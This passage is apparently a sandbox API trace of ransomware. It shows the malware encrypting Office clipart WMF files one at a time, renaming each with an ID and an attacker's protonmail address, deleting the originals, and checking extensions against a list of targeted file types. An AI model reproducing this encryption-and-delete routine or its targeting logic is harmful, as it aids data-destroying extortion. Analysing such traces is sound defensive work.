	[0076.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.129] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1676) returned 1
	[0076.129] CloseHandle (hObject=0x38c) returned 1
	[0076.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220
	[0076.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.129] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.129] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.130] GetLastError () returned 0x0
	[0076.130] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x68c, lpOverlapped=0x0) returned 1
	[0076.131] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x690, lpOverlapped=0x0) returned 1
	[0076.132] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.132] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.132] SetEndOfFile (hFile=0x338) returned 1
	[0076.132] CloseHandle (hObject=0x338) returned 1
	[0076.133] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.133] SetEndOfFile (hFile=0x38c) returned 1
	[0076.134] CloseHandle (hObject=0x38c) returned 1
	[0076.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.135] lstrlenW (lpString=".doc") returned 4
	[0076.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString=".docx") returned 5
	[0076.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.135] lstrlenW (lpString=".pdf") returned 4
	[0076.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString=".xls") returned 4
	[0076.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.135] lstrlenW (lpString=".xlsx") returned 5
	[0076.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.135] lstrlenW (lpString=".ppt") returned 4
	[0076.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.135] lstrlenW (lpString=".zip") returned 4
	[0076.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.135] lstrlenW (lpString=".rar") returned 4
	[0076.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString=".bz2") returned 4
	[0076.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString=".7z") returned 3
	[0076.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.135] lstrlenW (lpString=".dbf") returned 4
	[0076.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.135] lstrlenW (lpString=".1cd") returned 4
	[0076.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString=".jpg") returned 4
	[0076.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString=".doc") returned 4
	[0076.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString=".docx") returned 5
	[0076.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.136] lstrlenW (lpString=".pdf") returned 4
	[0076.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString=".xls") returned 4
	[0076.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.136] lstrlenW (lpString=".xlsx") returned 5
	[0076.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.136] lstrlenW (lpString=".ppt") returned 4
	[0076.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString=".zip") returned 4
	[0076.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.136] lstrlenW (lpString=".rar") returned 4
	[0076.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString=".bz2") returned 4
	[0076.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString=".7z") returned 3
	[0076.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString=".dbf") returned 4
	[0076.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.136] lstrlenW (lpString=".1cd") returned 4
	[0076.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0076.137] lstrlenW (lpString=".jpg") returned 4
	[0076.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.137] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.137] lstrlenW (lpString="BS00444_.WMF") returned 12
	[0076.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.137] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3896) returned 1
	[0076.137] CloseHandle (hObject=0x38c) returned 1
	[0076.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220
	[0076.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.138] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.138] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.138] GetLastError () returned 0x0
	[0076.138] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xf38, lpOverlapped=0x0) returned 1
	[0076.140] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf40, lpOverlapped=0x0) returned 1
	[0076.140] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.141] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.141] SetEndOfFile (hFile=0x338) returned 1
	[0076.141] CloseHandle (hObject=0x338) returned 1
	[0076.142] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.142] SetEndOfFile (hFile=0x38c) returned 1
	[0076.143] CloseHandle (hObject=0x38c) returned 1
	[0076.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1
	[0076.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.143] lstrlenW (lpString=".doc") returned 4
	[0076.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.143] lstrlenW (lpString=".docx") returned 5
	[0076.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.143] lstrlenW (lpString=".pdf") returned 4
	[0076.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.143] lstrlenW (lpString=".xls") returned 4
	[0076.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.143] lstrlenW (lpString=".xlsx") returned 5
	[0076.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.143] lstrlenW (lpString=".ppt") returned 4
	[0076.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString=".zip") returned 4
	[0076.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.144] lstrlenW (lpString=".rar") returned 4
	[0076.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString=".bz2") returned 4
	[0076.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString=".7z") returned 3
	[0076.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString=".dbf") returned 4
	[0076.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString=".1cd") returned 4
	[0076.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString=".jpg") returned 4
	[0076.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.144] lstrlenW (lpString=".doc") returned 4
	[0076.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString=".docx") returned 5
	[0076.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.144] lstrlenW (lpString=".pdf") returned 4
	[0076.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.144] lstrlenW (lpString=".xls") returned 4
	[0076.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.144] lstrlenW (lpString=".xlsx") returned 5
	[0076.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.144] lstrlenW (lpString=".ppt") returned 4
	[0076.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.145] lstrlenW (lpString=".zip") returned 4
	[0076.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.145] lstrlenW (lpString=".rar") returned 4
	[0076.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.145] lstrlenW (lpString=".bz2") returned 4
	[0076.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.145] lstrlenW (lpString=".7z") returned 3
	[0076.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.145] lstrlenW (lpString=".dbf") returned 4
	[0076.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.145] lstrlenW (lpString=".1cd") returned 4
	[0076.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0076.145] lstrlenW (lpString=".jpg") returned 4
	[0076.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.145] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.145] lstrlenW (lpString="BS00445_.WMF") returned 12
	[0076.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.146] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3796) returned 1
	[0076.146] CloseHandle (hObject=0x38c) returned 1
	[0076.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220
	[0076.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.146] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.147] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.147] GetLastError () returned 0x0
	[0076.147] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0076.148] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0076.149] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.149] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.150] SetEndOfFile (hFile=0x338) returned 1
	[0076.150] CloseHandle (hObject=0x338) returned 1
	[0076.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.151] SetEndOfFile (hFile=0x38c) returned 1
	[0076.513] CloseHandle (hObject=0x38c) returned 1
	[0076.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1
	[0076.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.542] lstrlenW (lpString=".doc") returned 4
	[0076.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.542] lstrlenW (lpString=".docx") returned 5
	[0076.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.542] lstrlenW (lpString=".pdf") returned 4
	[0076.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString=".xls") returned 4
	[0076.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.543] lstrlenW (lpString=".xlsx") returned 5
	[0076.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.543] lstrlenW (lpString=".ppt") returned 4
	[0076.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString=".zip") returned 4
	[0076.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.543] lstrlenW (lpString=".rar") returned 4
	[0076.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString=".bz2") returned 4
	[0076.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString=".7z") returned 3
	[0076.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString=".dbf") returned 4
	[0076.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString=".1cd") returned 4
	[0076.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString=".jpg") returned 4
	[0076.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.543] lstrlenW (lpString=".doc") returned 4
	[0076.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.543] lstrlenW (lpString=".docx") returned 5
	[0076.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.544] lstrlenW (lpString=".pdf") returned 4
	[0076.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString=".xls") returned 4
	[0076.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.544] lstrlenW (lpString=".xlsx") returned 5
	[0076.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.544] lstrlenW (lpString=".ppt") returned 4
	[0076.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.544] lstrlenW (lpString=".zip") returned 4
	[0076.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.544] lstrlenW (lpString=".rar") returned 4
	[0076.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString=".bz2") returned 4
	[0076.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString=".7z") returned 3
	[0076.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.544] lstrlenW (lpString=".dbf") returned 4
	[0076.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.544] lstrlenW (lpString=".1cd") returned 4
	[0076.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0076.544] lstrlenW (lpString=".jpg") returned 4
	[0076.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.544] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.544] lstrlenW (lpString="CLASSIC1.WMF") returned 12
